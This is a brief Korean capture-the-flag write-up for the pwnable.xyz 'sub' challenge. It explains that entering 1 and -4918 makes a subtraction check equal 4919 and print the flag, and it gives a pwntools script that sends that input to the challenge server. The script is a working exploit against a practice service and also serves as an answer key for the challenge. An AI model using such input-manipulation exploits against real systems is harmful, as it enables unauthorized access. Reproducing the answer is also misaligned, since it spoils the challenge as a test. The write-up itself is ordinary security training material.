pwnable.xyz - sub

파일을 다운로드 해주자.

 

 

 

 

IDA로 열어보면 scanf()함수로 v4와 v5에 입력을받고

v4 - v5가 4919가 되어야 flag를 볼 수 있다.

scanf()함수는 %u로 입력을 받는다.

-4918을 입력하면 -(-4918)이 된다.

v4에 1을 입력하고 v5에 -4918을 입력해주면

1 + 4918이 된다.

 

 

 

 

from pwn import *

r = remote("svc.pwnable.xyz", 30001)

r.recvuntil(":")
r.sendline("1 -4918")
r.sendline("asd")

r.interactive()

소스코드를 작성해주자.